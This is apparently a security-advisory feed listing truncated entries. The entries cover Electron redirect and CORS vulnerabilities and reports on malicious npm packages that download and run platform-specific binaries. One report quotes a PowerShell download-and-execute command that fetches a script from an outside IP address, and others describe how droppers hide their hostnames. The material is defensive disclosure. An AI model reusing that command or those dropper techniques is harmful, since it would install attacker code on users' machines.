Electron: HTTP redirect followed into local file loader

Impact When following HTTP redirects, net.fetch and net.request did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed. Apps are only affecte...

GHSA-V3J7-R9GQ-3GJW Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

Impact A custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remote origin could therefore fetch or XMLHttpRequest that scheme cross-origin and read the full response body, rather than the read being blocked...

NPM: Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

NPM: Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads vulnerability discovered by ? in WordPress Npm electron versions 39.8.10...

Permissive Cross-domain Policy with Untrusted Domains

Overview electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains via the custom protocol handler when supportFetchAPI is enabled but...

Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

Impact A custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remote origin could therefore fetch or XMLHttpRequest that scheme cross-origin and read the full response body, rather than the read being blocked...

CVE-2026-70604

In Electron, a vulnerability affects custom schemes registered with supportFetchAPI: true but without corsEnabled: true. Prior to versions 39.8.10, 40.9.3, 41.4.0, and 42.0.0, such schemes were not subject to CORS enforcement, allowing a page loaded from a remote origin to fetch() or XMLHttpReque...

CVE-2026-70604 Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0, a custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remot...

CVE-2026-70604 Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0, a custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remot...

CVE-2026-70604

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0, a custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remot...

EUVD-2026-53440

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0, a custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remot...

CVE-2026-70604 Electron: Custom protocol with supportFetchAPI but not corsEnabled allows cross-origin reads

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0, a custom scheme registered with supportFetchAPI: true but without corsEnabled: true was not subject to CORS enforcement. A page loaded from a remot...

MAL-2026-13350 Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

MAL-2026-13221 Malicious code in bigops-legacy-telephony-panel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 610b2084c8573d9a89262f1a4dcd8ff26acdcc0568f7fa29ac5a921a292e390a On require of this package, index.js loads init.js which at module load fetches a platform-specific binary from hostnames reassembled at runtime from...

Malicious code in bigops-jsonpath-mapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 784552abf30d07bd647e0c3844dc45ea0205cf20c166ca1e38ef924c5fd999b7 On require of bigops-jsonpath-mapper, index.js loads bridge.js which assembles hostnames from string-array joins to hide the destinations...

MAL-2026-13231 Malicious code in bigops-outgoing-call (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 536ee260eadf72447df4e01eb549a86779846d21b3b9b539b486f2bcd65ba750 On require of index.js the package loads runtime.js, which selects a platform-specific asset path and fetches an opaque binary from one of four...

Malicious code in bigops-products-investment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 91a3c32ddd31a89386c67c18f6dcc9d80d621671986dbb9a059927dfcf749411 Requiring [email protected] loads vendor.js at import time, which fetches a platform-specific executable from one of several Cloudfla...

MAL-2026-13243 Malicious code in bigops-products-mobile (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 265e87afdb04434bf53739963fd1c91ddb80c8ac957384377898c0aaf87cf826 On require'bigops-products-mobile', index.js loads loader.js which selects a platform-specific binary path, fetches attacker-controlled bytes over...

Malicious code in bigops-rx-post-message (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1298706de8e41561be6743e6d8349c5feefb81bec1ba71f3f2da3995d845ac98 On require of bigops-rx-post-message, index.js executes init.js at module top level, which downloads a platform-specific binary from Cloudflare Worke...

MAL-2026-13252 Malicious code in bigops-storio (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 072daea48b555582ea01125b1a71fff5907e73bc890ec56f7b012ac38230b69e On require of bigops-storio, support.js selects a platform-specific endpoint and fetches an opaque binary over HTTPS from one of four string-split...

Malicious code in devplatform-spa-plugin-s3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ca84ec076b60ced1412d45476eb90fb5c797b8dd53a5151d474dc979a085565 [email protected] is a binary dropper. index.js unconditionally requires shim.js, whose top-level init fetches a platform-specific...